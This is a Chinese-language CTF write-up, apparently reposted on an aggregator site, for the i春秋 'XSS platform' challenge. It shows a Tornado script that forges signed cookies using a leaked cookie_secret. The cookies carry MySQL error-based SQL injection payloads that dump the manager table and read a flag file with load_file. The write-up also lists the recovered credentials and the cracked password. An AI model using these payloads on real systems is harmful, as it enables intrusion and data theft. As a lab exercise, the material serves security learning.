i春秋CTF-“百度杯”CTF比赛九月场 XSS平台

Posted 2020-11-22 tlbjiayou

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了i春秋CTF-“百度杯”CTF比赛九月场 XSS平台相关的知识，希望对你有一定的参考价值。

“百度杯“CTF比赛九月场

###XSS平台

看了别人的wp才知道这里需要变数组引起报错然后百度信息收集，这一步在实战中我觉得是很有作用的，get到。

这里取百度rtiny，看别人wp上说这里是因为前面的目录很正常，这个rtiny看起来有问题，就去百度。。

百度第一栏直接拿下源码，接下来就是代码审计。这几天做题老是遇到pythonweb框架的服务器，所以直接去康啦康教程

这里直接推荐一篇文章 http://shouce.jb51.net/tornado/

代码审计这里因为之前就看了别人的wp 所以我知道问题出现在lock.py里面哈哈哈

Username 和passwd都没坐什么过滤直接带入数据库查询

这是定义的ct

组合起来语句就是

Select * from manager where username=‘‘ and password=‘‘

Username来自cookie 但是cookie被加密过

在username处构造报错注入

在index.py里面有那一段参数

"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="

拿来加密我们构造的cookie

脚本

import tornado.web
import tornado.ioloop

settings={
    "cookie_secret":"M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
}
class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("helloword")
        #self.set_secure_cookie("username","‘ and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=‘manager‘)))-- ")
        #self.set_secure_cookie("username","‘ and extractvalue(1,concat(0x5c,mid((select group_concat(username,‘|‘,password,‘|‘,email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "‘ and extractvalue(1,concat(0x5c,(select load_file(‘/var/www/html/f13g_ls_here.txt‘))))#")
        self.set_secure_cookie("username","‘ and extractvalue(1,concat(0x5c,mid((select load_file(‘/var/www/html/f13g_ls_here.txt‘)),28,60)))#")
        self.write(self.get_secure_cookie("username"))

if __name__ == "__main__":
    app=tornado.web.Application(
        [
            (r"/",IndexHandler),
        ],**settings
    )
    app.listen(8000)
    tornado.ioloop.IOLoop.current().start()

运行这个脚本，之后在火狐中访问127.0.0.1：8000 然后拿到cookie，然后带到lock访问运行脚本直接用cmd python+脚本名 //这里如果看不懂就回去看看tornado

这里 burp抓包一定要先抓取访问题目页面，再去把login改为lock才会返回报错，我实在不理解是为什么，暂时理解为是login.py 页面本身可以引起报错，所以这里才会使用报错注入,或者是从login页面进去带了几个参数

接下来就跑列名有三列账号密码和邮箱

注意中间有长度限制拿字段的时候要用到mid()分割

self.set_secure_cookie("username","‘ and extractvalue(1,concat(0x5c,mid((select group_concat(username,‘|‘,password,‘|‘,email) from manager),30,62))) -- ")

单然也可以一列一列的跑这里我是参照别人的脚本的语句但是都是报错注入

拿到

ichuqiu|318a61264482e503090facfc4337207f|545

账号 ichuqiu

密码拿去MD5 解密得到 Myxss623

登陆进去再输入一次密码得到后台

看到文件提示